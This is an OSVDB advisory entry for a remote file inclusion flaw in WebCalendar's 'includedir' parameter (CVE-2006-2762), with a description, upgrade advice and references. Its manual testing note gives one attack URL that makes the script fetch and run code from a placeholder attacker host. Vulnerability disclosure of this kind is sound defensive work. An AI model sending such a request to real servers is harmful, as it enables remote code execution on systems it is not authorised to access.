WebCalendar index.php includedir Function Remote File Inclusion

2006-05-30T06:19:58
ID OSVDB:25842
Type osvdb
Reporter socsam(socsam@linuxmail.org)
Modified 2006-05-30T06:19:58

Description

Vulnerability Description

WebCalendar contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to includes/config.php not properly sanitizing user input supplied to the 'includedir' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

This can be exploited further to disclose the content of arbitrary files by including a malicious settings.php file which overwrites the "user_inc" variable and will allow arbitrary local file disclosure.

Technical Description

This vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).

Solution Description

Upgrade to version 1.0.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Short Description

WebCalendar contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to includes/config.php not properly sanitizing user input supplied to the 'includedir' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

This can be exploited further to disclose the content of arbitrary files by including a malicious settings.php file which overwrites the "user_inc" variable and will allow arbitrary local file disclosure.

Manual Testing Notes

http://[victim]/[path]/index.php?includedir=http://[attacker]/[evilcode]

References:

Vendor URL: http://www.k5n.us/webcalendar.php Security Tracker: 1016179 Secunia Advisory ID:20367 Secunia Advisory ID:20542 Other Advisory URL: http://www.us.debian.org/security/2006/dsa-1096 Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0029.html Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0676.html FrSIRT Advisory: ADV-2006-2067 CVE-2006-2762 Bugtraq ID: 18175